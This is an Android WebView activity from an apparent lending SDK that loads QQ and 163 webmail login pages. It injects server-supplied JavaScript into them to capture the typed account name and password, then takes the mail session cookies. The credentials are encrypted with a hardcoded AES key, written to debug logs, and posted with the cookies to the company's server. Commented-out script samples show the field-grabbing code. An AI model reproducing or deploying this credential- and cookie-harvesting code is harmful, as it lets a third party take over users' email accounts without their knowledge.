package com.tcredit.sdk.android;

import android.Manifest;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.os.Build;
import android.os.Bundle;
import android.os.Message;
import android.support.annotation.NonNull;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.text.TextUtils;
import android.util.Log;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
import android.webkit.ConsoleMessage;
import android.webkit.CookieManager;
import android.webkit.CookieSyncManager;
import android.webkit.JavascriptInterface;
import android.webkit.JsPromptResult;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;


import com.google.gson.Gson;
import com.luck.picture.lib.PictureSelector;
import com.luck.picture.lib.config.PictureConfig;
import com.luck.picture.lib.config.PictureMimeType;
import com.luck.picture.lib.entity.LocalMedia;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.UUID;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class WebActivity extends Activity {

    private static final String TAG = "WebActivity";

    private TextView titleText;
    private MyWebView webView;
    private SpringView spring;
    private ProgressBar progressBar1;
    private int newdeltaY;
    private int olddeltaY;
    boolean isfirst=true;

    private boolean isMailDoing;

    //在登陆的时候会写入这个js，然后这个js会记录用户名和密码(下面这个js只适用于扣扣)
    //private String loginJs = "(function(){var go=document.getElementById(\"go\");if(go){go.addEventListener(\"click\",function(){var u=document.getElementById(\"u\").value;var p=document.getElementById(\"p\").value;camera.saveInfo('{ \"account\": '+u+',\"extInfo\": '+p+'}')})}var submitBtn=document.getElementById(\"submitBtn\");if(submitBtn){go.addEventListener(\"click\",function(){var pwd=document.getElementById(\"pwd\").value;camera.saveInfo('{\"extInfo1\": '+pwd+'}')})}var reg=/w\\.mail\\.qq\\.com\\/cgi-bin\\/today/i;var reg1=/w\\.mail\\.qq\\.com\\/cgi-bin\\/mobile/i;if(reg.test(location.href)||reg1.test(location.href)){camera.loginFinish()}})()";
   // private String loginJs="(function(){var go=document.querySelector(\"input[name='account']\");if(go){go.addEventListener(\"click\",function(){var u=document.querySelector(\"input[name='account']\").value;var p=document.querySelector(\"input[type='password']\").value;if(isAndroid){camera.saveInfo('{ \"account\": '+u+',\"extInfo\": '+p+\"}\")}else{window.location.href=\"borrowpal://toSave?account=\"+u+\"&p=\"+p}})}var reg=/mail\\.163\\.com\\/m\\/main\\.jsp/i;if(reg.test(location.href)){if(isAndroid){camera.loginFinish()}else{window.location.href=\"borrowpal://loginMail\"}}})();function isAndroid(){var u=navigator.userAgent;var isAndroid=u.indexOf(\"Android\")>-1||u.indexOf(\"Adr\")>-1;if(isAndroid){return true}else{return false}};";
    private String loginJs;
    private String loginUrl;
    private String h5Url;
    //这个也是必填参数
    private String callBackUrl = "http://test.yzj.tcredit.com/";
    private List<String> domainList;


    protected String launchUrl;

    private Map<String, String> titleMap = new HashMap<String, String>();

    private String host = "http://test.yzj.tcredit.com";
//    private String host ="http://172.19.160.125:8080";

    private SendDataTask sDataTask = null;

    private String account;
    private String extInfo;
    private String extInfo1;
    private String userId;
    private float firstaction;
    private float afteraction;
    boolean canscroll;
    private String mailtype;

    @SuppressLint({"JavascriptInterface", "ClickableViewAccessibility"})
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        Bundle extras = getIntent().getExtras();
        userId = UUID.randomUUID().toString();
        String sign = "";
        if (extras != null && extras.containsKey("uid")) {
            userId = extras.getString("uid");
        }
        if (extras != null && extras.containsKey("sign")) {
            sign = extras.getString("sign");
        }

        //  launchUrl = host + "/home/iqiyi/index?uid=" + userId + "&sign=" + sign;
        // launchUrl = "http://172.19.163.53:8080/#/new_mail";
        //  todo 选择邮箱列表  9.18(原来的，只能获取mailtype)
        //launchUrl = "http://tx.tcredit.com/m/contacts/index.html#/new_mail";

        // todo
       launchUrl = "http://tx.tcredit.com/m/contacts/index.html#/new_mail?appId=xxxxxxxxx&callBackUrl=http%3A%2F%2Fwww.baidu.com";
       //launchUrl = "http://172.19.163.208:9001/iqiyi_client_sdk_test/_contents.html";
        //launchUrl="http://172.19.163.208:9001/iqiyi_client_sdk_test/card.html";
       // launchUrl="https://blog.csdn.net/iloveaman/article/details/17438609";
       // launchUrl = "file:///android_asset/me.html";

        getWindow().requestFeature(Window.FEATURE_NO_TITLE);
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FORCE_NOT_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FORCE_NOT_FULLSCREEN);
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_web);
        findViewById(R.id.test).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                webView.post(new Runnable() {
                    @Override
                    public void run() {
                        webView.loadUrl("javascript:onFail('" + 1 + "')");
                    }
                });
            }
        });
        progressBar1 = findViewById(R.id.progressBar1);
        findViewById(R.id.img).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                if (webView.canGoBack()) {
                    webView.goBack();
                } else {
                    finish();
                }
            }
        });
        findViewById(R.id.textView).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                if (webView.canGoBack()) {
                    webView.goBack();
                } else {
                    finish();
                }
            }
        });
        findViewById(R.id.textView2).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                finish();
            }
        });
        titleText = findViewById(R.id.titleText);
        webView = findViewById(R.id.webView);

        //远程调试什么的
        ApplicationInfo appInfo = webView.getContext().getApplicationContext().getApplicationInfo();
        if ((appInfo.flags & ApplicationInfo.FLAG_DEBUGGABLE) != 0 &&
                Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
            enableRemoteDebugging();
        }

        //粘性下拉的头部
        spring = findViewById(R.id.spring);



        //判断webview页面滑动到底部没有，只是判断webview滑动到了底部没有（但是判断不了h5页面内的弹窗）
        webView.setOnCustomScroolChangeListener(new MyWebView.ScrollInterface() {
            @Override
            public void onSChanged(int l, int t, int oldl, int oldt) {
//                //WebView的总高度
//                float webViewContentHeight=webView.getContentHeight() * webView.getScale();
//                //WebView的现高度
//                float webViewCurrentHeight=(webView.getHeight() + webView.getScrollY());
//                LogUtil.e("WebView的总高度---"+webViewContentHeight+"WebView的现高度"+webViewCurrentHeight);
//                if ((webViewContentHeight-webViewCurrentHeight) == 0) {
//                    System.out.println("WebView滑动到了底端");
//                }else if (webView.getScrollY()==0){
//                    System.out.println("我在顶部");
//                }
            }
        });




       // webView.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
        // 设置WebView属性，能够执行JavaScript脚本
        webView.getSettings().setJavaScriptEnabled(true);
        //把下面的最大存储取代才能够不记录缓存
        webView.getSettings().setAppCacheMaxSize(1024 * 1024 * 8);
        String appCachePath = this.getApplicationContext().getCacheDir().getAbsolutePath();
        webView.getSettings().setAppCachePath(appCachePath);
        webView.getSettings().setAllowFileAccess(true);    // 可以读取文件缓存
        webView.getSettings().setAppCacheEnabled(true);    //开启H5(APPCache)缓存功能
        webView.getSettings().setDomStorageEnabled(true);  // 开启 DOM storage 功能


        //解决https导致图片加载不出来的问题
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
        }
        //禁用缓存
        webView.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE);
        webView.setWebChromeClient(new MyWebChromeClient());

        webView.addJavascriptInterface(new JavaScriptInterface(), "camera");
        webView.loadUrl(launchUrl);
        // "https://weui.io/weui.js/"
        //控制webview跳转时不调用浏览器
        webView.setWebViewClient(new WebViewClient() {


            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String request) {
                return false;
            }

            @Override
            public void onPageStarted(WebView view, String url, Bitmap favicon) {
                super.onPageStarted(view, url, favicon);
                String cleanUrl = url.replaceAll("\\#(.*)?", "");
                String str = titleMap.get(cleanUrl);
                if (!TextUtils.isEmpty(str)) {
                    titleText.setText(str);
                }
                LogUtil.e("onPageStarted--"+url);

            }

            @Override
            public void onPageFinished(WebView view, String url) {
                if (isMailDoing) {
                    WebActivity.this.loadJs();
                }
                LogUtil.e("onPageFinished: "+url);
            }


        });

        if (Build.VERSION.SDK_INT>=23) {
            if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED){
                requestPermissions(new String[]{Manifest.permission.READ_PHONE_STATE},1000);
            }else {
                //todo
                Postdatas(userId);
            }
        }else {
            //todo
            Postdatas(userId);
        }


        // 原来的上传异步任务
       // Postdatas(userId);

        //toNetConfig();
        // spring.setEnable(false);


    }

    private void Postdatas(String userId) {
        sDataTask = new SendDataTask(userId, host, getApplicationContext());
        sDataTask.execute();
    }


    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        //todo 别把这个去掉了，有可能父类还有一些调用！！！
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        switch (requestCode){
            case 1000:
                if (grantResults.length>0&&grantResults[0]==PackageManager.PERMISSION_GRANTED){
                    Postdatas(userId);
                }else {
                    Postdatas(userId);
                }
                break;
        }
    }

    //允许远程调试
    @TargetApi(Build.VERSION_CODES.KITKAT)
    private void enableRemoteDebugging() {
        try {
            WebView.setWebContentsDebuggingEnabled(true);
        } catch (IllegalArgumentException e) {
            e.printStackTrace();
        }
    }

    final class MyWebChromeClient extends WebChromeClient {

        @Override
        public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
            LogUtil.e("--onJsPrompt-"+message+"----"+url+"---"+result);
            return super.onJsPrompt(view, url, message, defaultValue, result);
        }

        @Override
        public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
            LogUtil.e("--onJsAlert--"+message+"----"+url+"---"+result);
            return super.onJsAlert(view, url, message, result);
        }

        @Override
        public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
            LogUtil.e("--onJsConfirm--"+message+"----"+url+"---"+result);
            return super.onJsConfirm(view, url, message, result);
        }

        //网易邮箱登陆之后会再离开会有这个提示，但是能够手动确认 10。8
        @Override
        public boolean onJsBeforeUnload(WebView view, String url, String message, JsResult result) {
            LogUtil.e("--onJsBeforeUnload--"+message+"----"+url+"---"+result);
            result.confirm();
            return true;
        }

        @Override
        public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
            LogUtil.e("---consoleMessage--"+consoleMessage);
            return super.onConsoleMessage(consoleMessage);
        }

        @Override
        public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) {
            LogUtil.e("---isUserGesture--"+isUserGesture+"--resultMsg--"+resultMsg);
            return super.onCreateWindow(view, isDialog, isUserGesture, resultMsg);
        }

        @Override
        public void onReceivedTitle(WebView view, String title) {
            super.onReceivedTitle(view, title);
            if (!TextUtils.isEmpty(title) && !isMailDoing) {
                String[] strs = title.split("\\.");
                if (strs.length <= 3 && !title.startsWith("http")) {
                    if (title.length() > 5) {
                        title = title.substring(0, 4) + "...";
                    }
                    String currentUrl = view.getUrl();
                    String cleanUrl = currentUrl.replaceAll("\\#(.*)?", "");
                    titleMap.put(cleanUrl, title);
                    titleText.setText(title);
                }
            }
        }

        @Override
        public void onProgressChanged(WebView view, int newProgress) {
            super.onProgressChanged(view, newProgress);
            if (newProgress == 100) {
                progressBar1.setVisibility(View.GONE);
            } else {
                progressBar1.setVisibility(View.VISIBLE);
                progressBar1.setProgress(newProgress);
            }
        }

    }


    private void takePhoto(int type) {
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.CAMERA}, 0x12);
            return;
        }
        CameraActivity.openCertificateCamera(this, type);
    }

    //得到图片的集合
    private List<LocalMedia> selectList = new ArrayList<>();

    String requestStr = "";

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (requestCode == CameraActivity.REQUEST_CODE && resultCode == CameraActivity.RESULT_CODE) {
            //获取文件路径，显示图片
            final String path = CameraActivity.getResult(data);
            if (!TextUtils.isEmpty(path)) {
                requestStr = StringUtils.ImageToBase64ByLocal(path);
            }

            webView.post(new Runnable() {
                @Override
                public void run() {
                    webView.loadUrl("javascript:onSuccess('" + requestStr + "')");
                }
            });
        } else if (requestCode == PictureConfig.CHOOSE_REQUEST) {
            selectList = PictureSelector
                    .obtainMultipleResult(data);
            if (selectList.size() == 0) {
                return;
            }
            requestStr = StringUtils.ImageToBase64ByLocal(selectList.get(0).getPath());
            webView.post(new Runnable() {
                @Override
                public void run() {
                    webView.loadUrl("javascript:onSuccess('" + requestStr + "')");
                }
            });
        }
    }

    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {

        if (keyCode == KeyEvent.KEYCODE_BACK && webView.canGoBack()) {
            webView.goBack();// 返回前一个页面
            return true;
        } else {
            finish();
        }

        return super.onKeyDown(keyCode, event);

    }

    private String type;

    private class JavaScriptInterface {

        JavaScriptInterface() {
        }



        /**
         * 关闭界面
         */
        @JavascriptInterface
        public void finish() {
            System.out.println("js--finish()");
            WebActivity.this.finish();
        }


        //// TODO: 2018/9/14 这下面两个效果也关掉了，因为首页的弹窗协议不能上拉，只能下拉
        /**
         * 关闭下滑效果
         */
//        @JavascriptInterface
//        public void colseSliding() {
//            LogUtil.e("--colseSliding--");
//            spring.setEnable(false);
//        }
//
//        /**
//         * 开启下滑效果
//         */
//        @JavascriptInterface
//        public void openSliding() {
//            LogUtil.e("--openSliding--");
//            spring.setEnable(true);
//        }

        @JavascriptInterface
        /**
         * 正面相册方法
         */
        public void getPicture() {
            //   takePhoto(CameraActivity.TYPE_IDCARD_FRONT);
            PictureSelector.create(WebActivity.this)
                    .openGallery(PictureMimeType.ofImage())
                    .theme(R.style.picture_default_style)
                    .selectionMode(PictureConfig.SINGLE)
                    .previewImage(true)
                    .previewVideo(true)
                    .isCamera(false)
                    .isZoomAnim(true)
                    .synOrAsy(true)
                    .glideOverride(160, 160)
                    .hideBottomControls(false)
                    .isGif(false)
                    .freeStyleCropEnabled(true)
                    .circleDimmedLayer(false)
                    .minimumCompressSize(100)
                    .forResult(PictureConfig.CHOOSE_REQUEST);//结果回调onActivityResult code
        }

        @JavascriptInterface
        /**
         * 正面相机方法
         */
        public void getFrontPhoto() {
            takePhoto(CameraActivity.TYPE_IDCARD_FRONT);

        }


        @JavascriptInterface
        /**
         * 反面相机方法
         */
        public void getBackPhoto() {
            takePhoto(CameraActivity.TYPE_IDCARD_BACK);
        }

        @JavascriptInterface
        /**
         * 反面相册方法
         */
        public void getBackPicktrue() {
            PictureSelector.create(WebActivity.this)
                    .openGallery(PictureMimeType.ofImage())
                    .theme(R.style.picture_default_style)
                    .selectionMode(PictureConfig.SINGLE)
                    .previewImage(true)
                    .previewVideo(true)
                    .isCamera(false)
                    .isZoomAnim(true)
                    .synOrAsy(true)
                    .glideOverride(160, 160)
                    .hideBottomControls(false)
                    .isGif(false)
                    .freeStyleCropEnabled(true)
                    .circleDimmedLayer(false)
                    .minimumCompressSize(100)
                    .forResult(PictureConfig.CHOOSE_REQUEST);//结果回调onActivityResult code
        }

        @JavascriptInterface
        /**
         * 大头拍照方法
         */
        public void getAvarPictrue() {
            takePhoto(6);
        }

        @JavascriptInterface
        /**
         * 大头加手持方法
         */
        public void getAcarAndHandPictrue() {
            takePhoto(5);
        }


        @JavascriptInterface
        public String onFail() {
            System.out.println("js--onFail()");
            return "1";
        }


        /**
         * 邮箱使用，跳转到登录页面，点击列表转跳登录页面.这里能够获取邮箱的类型
         *
         * @param str {"host","qq"}
         */
        //todo  js方法的第一步
        @JavascriptInterface
        public void toLogin(String str) {
            System.out.println("js---TOLOGIN");
            try {
                WebActivity.this.openMailWebView(str);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }


        /**
         * 邮箱登陆完成之后，登录完成跳转到首页（借钱页面）
         *
         * （这个js方法通过，最上面原生的js语句调用的）
         */
        @JavascriptInterface
        public void loginFinish() {
            System.out.println("js loginFinish()");
            try {
                if (isfirst) {
                    WebActivity.this.loginFinish();
                }

            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        /***
         * 获取用户账号和密码。。。
         * （这个方法是在登陆的一瞬间就会回传，无论账号密码是否正确）
         * @param str
         *
         * 第二步
         */
        @JavascriptInterface
        public void saveInfo(String str) {
            System.out.println("js--saveInfo");
//            ExinforBean exinforBean = GsonUtil.parseJsonToBean(str, ExinforBean.class);
//            account=exinforBean.getAccount();
//            extInfo=exinforBean.getExtInfo();
//            extInfo1=exinforBean.getExtInfo1();
//            LogUtil.e("66account--"+account);
//            LogUtil.e("66extinfo--"+extInfo);

            //// TODO: 2018/10/9 记得这里记得改回来，这里把空格都取代了！！
//            Pattern p = Pattern.compile("\\s*|\t|\r|\n");
//            Matcher m = p.matcher(str);
            try {
                JSONObject jSONObject = new JSONObject(str);
                if (jSONObject.has("account")) {
                    WebActivity.this.account = jSONObject.getString("account");

                }
                LogUtil.e("66account--"+account);
                //获取密码
                if (jSONObject.has("extInfo")) {
                    WebActivity.this.extInfo = jSONObject.getString("extInfo");
                }
                LogUtil.e("66extinfo--"+extInfo);
                if (jSONObject.has("extInfo1")) {
                    WebActivity.this.extInfo1 = jSONObject.getString("extInfo1");
                }
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }


    }

    public void setType(String type) {
        this.type = type;
    }

    public String getType() {
        return type;
    }


    /**
     * 获取用户的账号和密码
     * 163的邮箱登陆成功地址用谷歌浏览器能够获取到，其他的貌似不行
     *
     */
    public void loginFinish() {


        //getCookier(webView.getUrl());
        //todo  4.4的手机系统中会报空指针,如果string为null的话
        if (account!=null) {
            LogUtil.i(account);
        }else {
            LogUtil.i("account没获取到");
        }
        if (extInfo!=null) {
            LogUtil.i(extInfo);
        }else {
            LogUtil.i("exinfo没获取到");
        }
        if (extInfo1!=null) {
            LogUtil.i(extInfo1);
        }else {
            LogUtil.i("exinfo1没获取到");
        }

        try {

            runOnUiThread(new Runnable() {

                public void run() {
                    //耗时操作？？
                    //还是因为获取了地址？？
                    //还是因为邮箱有后缀名？？
                    if (webView.getUrl().equals(callBackUrl)){
                        return;
                    }

                    //如果把这个标记位去掉了，则会进来很多次
                    isfirst=false;

                    /**
                     * 自定义Toast,解决小米显示APPName的问题
                     */
                    final String cookier = getCookier(webView.getUrl());
                    // // TODO: 2018/10/8 cookier 下单接口
                    toNetPassCookier(cookier);
//                    Toast mToast = Toast.makeText(WebActivity.this, null, Toast.LENGTH_SHORT);
//                    mToast.setText("邮箱登录成功");
//                    mToast.show();
                     //webView.loadUrl("about:blank");
                     webView.loadUrl(callBackUrl);
                }
            });
        }catch (Exception e){

        }
    }

    //cookier下单接口
    private void toNetPassCookier(String cookier) {
        HashMap<String,String> datas=new HashMap<>();
        datas.put("appId","1fd51b66-ea62-4de3-9557-1fac16a23043");
        datas.put("url",Constants.SendParams);
        JSONObject jsonObject = new JSONObject();
        JSONObject jsonObject1 = new JSONObject();
        try {
            jsonObject1.put("account",account);
            jsonObject1.put("extInfo",extInfo);
            if (extInfo1!=null) {
                jsonObject1.put("extInfo1", extInfo1);
            }
            String encode = AESUtils.AES256Encode(jsonObject1.toString(), "2a152b0b0bde4c26a7094be54b813da3");
            LogUtil.e("加密之后的结果是--"+encode);
            String decrypt = AESUtils.AES256Decrypt(encode, "2a152b0b0bde4c26a7094be54b813da3");
            LogUtil.e("解密的结果是--"+decrypt);
            jsonObject.put("mailType",mailtype);
            jsonObject.put("cookie",cookier);
            jsonObject.put("extInfo",encode);
        } catch (JSONException e) {
            e.printStackTrace();
        }
        LogUtil.e("-json-"+jsonObject.toString());
        datas.put("params",jsonObject.toString());
        httphelper.create(this).UpdataParamsPost(Constants.Query, datas, new httphelper.httpcallback() {
            @Override
            public void success(String s) {
                LogUtil.e("datas--"+s);

               // WebActivity.this.webView.loadUrl(callBackUrl);
            }

            @Override
            public void fail(Exception e) {
                LogUtil.e("datas--"+e);
            }
        });
    }


    private void toNetConfig(String mailtype) {
        HashMap<String,String> datas=new HashMap<>();
        //下面这个是测试数据
        datas.put("appId","1fd51b66-ea62-4de3-9557-1fac16a23043");
        datas.put("url",Constants.QueryParams);
        datas.put("params",mailtype);
        Iterator<Map.Entry<String,String>> entries = datas.entrySet().iterator();
        while (entries.hasNext()) {
            Map.Entry<String,String> entry = entries.next();
            LogUtil.e("传递的值是--"+entry.getKey() + ":" + entry.getValue());
            //System.out.print( "传递的值是--"+entry.getKey() + ":" + entry.getValue());
        }
        httphelper.create(this).UpdataParamsPost(Constants.Query, datas, new httphelper.httpcallback() {
            @Override
            public void success(String s) {
                System.out.println(s);
                LogUtil.e("--返回的结果--"+s);
                ConfigBean configBean = GsonUtil.parseJsonToBean(s, ConfigBean.class);
                ConfigBean.DataBeanX data = configBean.getData();
                ConfigBean.DataBeanX.DataBean loginparams = data.getData();
                loginJs=loginparams.getJs();
                loginUrl=loginparams.getLoginUrl();
                LogUtil.e("66logurl: "+loginUrl);
                LogUtil.e("66logjs: "+loginJs);


                isMailDoing = true;
                // todo 9.28 暂时注释
                //根据host获取登录URL
//                loginUrl = "https://ui.ptlogin2.qq.com/cgi-bin/login?style=9&appid=522005705&daid=4&s_url=http%3A%2F%2Fw.mail.qq.com%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26vm%3Dwsk%26delegate_url%3D%26f%3Dxhtml%26target%3D&hln_css=http%3A%2F%2Fmail.qq.com%2Fzh_CN%2Fhtmledition%2Fimages%2Flogo%2Fqqmail%2Fqqmail_logo_default_200h.png&low_login=1&hln_autologin=%E8%AE%B0%E4%BD%8F%E7%99%BB%E5%BD%95%E7%8A%B6%E6%80%81&pt_no_onekey=1";
                //".qq.com", ".mail.qq.com", ".ui.ptlogin2.qq.com", ".ptlogin2.qq.com"
                // todo 自己新加的
                //  loginUrl = "http://w.mail.qq.com";
                //loginUrl = "https://mail.163.com/";
                domainList = new ArrayList<>();

                //todo 原来存在的 9.28
//                domainList.add(".qq.com");
//                domainList.add(".mail.qq.com");
//                domainList.add(".ui.ptlogin2.qq.com");
//                domainList.add(".ptlogin2.qq.com");

                runOnUiThread(new Runnable() {
                    public void run() {
                        // todo 删除cookier信息，但是个人觉得没必要 9.18，但是如果不删居然会导致邮箱自动登录？？
                        //  就是下一次再次调用的时候会造成cookier自动登录 9.21
                        ClearWebCookier();
                        resetCookies(domainList, loginUrl);
                        WebActivity.this.webView.loadUrl(loginUrl);
                        titleText.setText(WebActivity.this.getString(R.string.tx_client_email_webview_title));
                    }

                });

            }

            @Override
            public void fail(Exception e) {
                LogUtil.e("--返回的结果--"+e);

            }
        });
    }

    /**
     * 0.这个选择邮箱列表的方法
     * 1.先从缓存去取
     * 2.缓存没有获取配置信息(同步)
     * 3.根据配置信息获取js内容，登陆页，是否走sdk，以及H5的url,
     *
     * @param str
     */
    public void openMailWebView(String str) {
        LogUtil.e("mailtype: "+str);

        if (!TextUtils.isEmpty(str)) {
            try {
                JSONObject jSONObject = new JSONObject(str);
                 mailtype = jSONObject.getString("mailType");


                toNetConfig(str);

                //mailType 调用接口 获取相关的数据
                //配置接口
                //判断isweblogin 1（按照接口返回的数据来） 否则
                // loginurl 指定为http://tx.tcredit.com/m/contacts/index.html#/?appId=xxx&urlType=5

/*                this.isMailDoing = true;
                // todo 9.28 暂时注释
                //根据host获取登录URL
//                loginUrl = "https://ui.ptlogin2.qq.com/cgi-bin/login?style=9&appid=522005705&daid=4&s_url=http%3A%2F%2Fw.mail.qq.com%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26vm%3Dwsk%26delegate_url%3D%26f%3Dxhtml%26target%3D&hln_css=http%3A%2F%2Fmail.qq.com%2Fzh_CN%2Fhtmledition%2Fimages%2Flogo%2Fqqmail%2Fqqmail_logo_default_200h.png&low_login=1&hln_autologin=%E8%AE%B0%E4%BD%8F%E7%99%BB%E5%BD%95%E7%8A%B6%E6%80%81&pt_no_onekey=1";
                //".qq.com", ".mail.qq.com", ".ui.ptlogin2.qq.com", ".ptlogin2.qq.com"
                // todo 自己新加的
              //  loginUrl = "http://w.mail.qq.com";
                //loginUrl = "https://mail.163.com/";
                domainList = new ArrayList<>();

                //todo 原来存在的 9.28
//                domainList.add(".qq.com");
//                domainList.add(".mail.qq.com");
//                domainList.add(".ui.ptlogin2.qq.com");
//                domainList.add(".ptlogin2.qq.com");

                runOnUiThread(new Runnable() {
                    public void run() {
                        // todo 删除cookier信息，但是个人觉得没必要 9.18，但是如果不删居然会导致邮箱自动登录？？
                        //  就是下一次再次调用的时候会造成cookier自动登录 9.21
                        ClearWebCookier();
                        resetCookies(domainList, loginUrl);
                        WebActivity.this.webView.loadUrl(loginUrl);
                        titleText.setText(WebActivity.this.getString(R.string.tx_client_email_webview_title));
                    }

                });*/


                runOnUiThread(new Runnable() {
                    public void run() {
                        // todo 删除cookier信息，但是个人觉得没必要 9.18，但是如果不删居然会导致邮箱自动登录？？
                        //  就是下一次再次调用的时候会造成cookier自动登录 9.21
                        ClearWebCookier();
                        WebActivity.this.webView.loadUrl(loginUrl);
                        titleText.setText(WebActivity.this.getString(R.string.tx_client_email_webview_title));
                    }

                });

            } catch (Throwable e) {
                Log.e(TAG, e.getMessage(), e);
            }
        }
    }

    public String getCookier(String mailurl){
        String cookie;
        if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
            //5.0以下
            CookieSyncManager.createInstance(this);
            CookieManager cookieManager = CookieManager.getInstance();
             cookie = cookieManager.getCookie(mailurl);//从H5获取cookie
            LogUtil.e("当前的url---"+mailurl);
            LogUtil.e("当前url 5.0<sdk）之前onPageFinished cookie : "+cookie);
        }else {
            //5.0以上的cookier
            CookieManager cookieManager = CookieManager.getInstance();
             cookie = cookieManager.getCookie(mailurl);//从H5获取cookie
            LogUtil.e("当前的url---"+mailurl);
            LogUtil.e("当前url 5.0>sdk）之前onPageFinished cookie : "+cookie);
        }
        return cookie;
    }


    //清除cookier操作
    //但是感觉很奇怪
    private void resetCookie(String str) {
        try {
            //这里的cookier信息需要登陆一次之后才有，刚开始是没有cookier信息的
            //但是感觉清不清都行的样子
            //这里有个有用的api，instance.removeExpiredCookie();  用于清除过期的信息
            CookieSyncManager.createInstance(WebActivity.this);
            CookieManager instance = CookieManager.getInstance();
            String cookie = instance.getCookie(str);
            if (cookie != null) {
                for (String split : cookie.split(";")) {
                    instance.setCookie(str, split.split("=")[0].trim() + "=; Expires=Wed, 31 Dec 1900 23:59:59 GMT");
                }

                //instance.removeExpiredCookie();
                CookieSyncManager.getInstance().sync();
                String cookie1 = instance.getCookie(str);
                System.out.println("--添加过期cookier信息之后--"+cookie1);
            }
        } catch (Throwable e) {
            Log.e(TAG, e.getMessage(), e);
        }
    }

    public final void resetCookies(List<String> list, String str) {
        if (list != null) {
            try {
                if (list.size() > 0) {
                    for (String b : list) {
                        resetCookie(b);
                    }
                    return;
                }
            } catch (Throwable e) {
                Log.e(TAG, "清除cookie失败", e);
                return;
            }
        }
        if (!TextUtils.isEmpty(str)) {
            resetCookie(str);
        }
    }


    /**
     * 获取账号和密码
     */
    public final void loadJs() {
        if (this.webView != null && !TextUtils.isEmpty(loginJs)) {
            this.webView.post(new Runnable() {
                @Override
                public void run() {
                    if (WebActivity.this.webView != null) {
                        WebActivity.this.webView.loadUrl("javascript:" + loginJs);
                    }
                }
            });
        }
    }


//    @Override
//    protected void onStop() {
//        ClearWebCookier();
//        super.onStop();
//    }

    @Override
    protected void onDestroy() {
        webView.clearHistory();
        super.onDestroy();
    }

    /***清除webview上的cookier***/
    private void ClearWebCookier() {
        CookieSyncManager cookieSyncManager =  CookieSyncManager.createInstance(getApplicationContext());
        CookieManager cookieManager = CookieManager.getInstance();
        cookieManager.setAcceptCookie(true);
        cookieManager.removeSessionCookie();
        CookieManager.getInstance().removeAllCookie();
        cookieSyncManager.sync();
        if (Build.VERSION.SDK_INT>=21) {
            CookieManager.getInstance().flush();
        }
    }
}
